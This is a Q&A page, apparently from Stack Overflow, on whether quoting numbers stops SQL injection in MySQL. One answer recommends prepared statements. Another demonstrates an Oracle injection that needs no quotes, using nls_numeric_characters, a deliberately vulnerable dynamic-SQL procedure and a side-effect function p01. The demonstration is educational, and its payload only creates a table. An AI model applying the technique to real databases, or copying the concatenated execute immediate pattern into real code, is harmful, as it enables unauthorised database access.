Mysql – Does putting single quotation marks around numeric constants really protect from SQL injection in MySQL

you better use prepared statement from your programming source code, e.g. for PHP use PDO's prepare statement!

Check this - https://stackoverflow.com/questions/60174/best-way-to-prevent-sql-injection-in-php

Yes, it is possible to perform an SQL injection attack without supplying quotes in the parameter.

The way to do this is with an exploit to do with how numbers and/or dates are processed. You can specify at the session level what the format of a date or number is. By manipulating this you can then inject with any character.

By default in the UK and US, a comma is used to indicate the thousands separator in numbers, and a full stop for the decimal point. You can change these defaults by executing:

alter session set nls_numeric_characters = 'PZ';

This means that "P" is now the decimal point and "Z" is the thousands separator. So:

0P01

Is the number 0.01. However, if you create a function P01, the object reference will be picked up before number conversion. This allows you to execute functions on the database giving you increasing powers, as follows:

Create a basic "get by id" function:

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Also create a function P01 which does something undesirable (in this case just creating a table, but you get the idea):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

And we're good to go:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

No quotes anywhere, but we've still managed to execute the "hidden" function P01 and create the table t!

While this may be difficult to do in practice (and may require some internal knowledge/help), this does show that you can inject SQL without having to have quotes. Altering the nls_date_format can allow similar things to be done.

The original findings for numbers were by David Litchfield and you can read his paper here. You can find Tom Kyte's discussion of how dates can be exploited here.